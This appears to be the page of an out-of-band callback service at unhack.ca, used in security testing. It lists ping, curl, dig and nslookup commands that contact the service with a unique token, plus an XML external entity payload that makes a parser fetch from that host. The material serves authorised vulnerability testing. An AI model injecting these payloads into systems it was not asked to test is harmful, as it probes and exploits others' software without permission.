$ ping -c1 -p 00129bbcf0658c150a6bf8a7485afd00 unhack.ca
 
$ curl http://unhack.ca/p/129bbcf0658c150a6bf8a7485afd
 
$ dig 129bbcf0658c150a6bf8a7485afd @unhack.ca
 
$ dig 129bbcf0658c150a6bf8a7485afd.ns.unhack.ca
 
C:\> nslookup 129bbcf0658c150a6bf8a7485afd unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/129bbcf0658c150a6bf8a7485afd">]>
    <foo>&xxe;</foo>
 
Waiting for ping...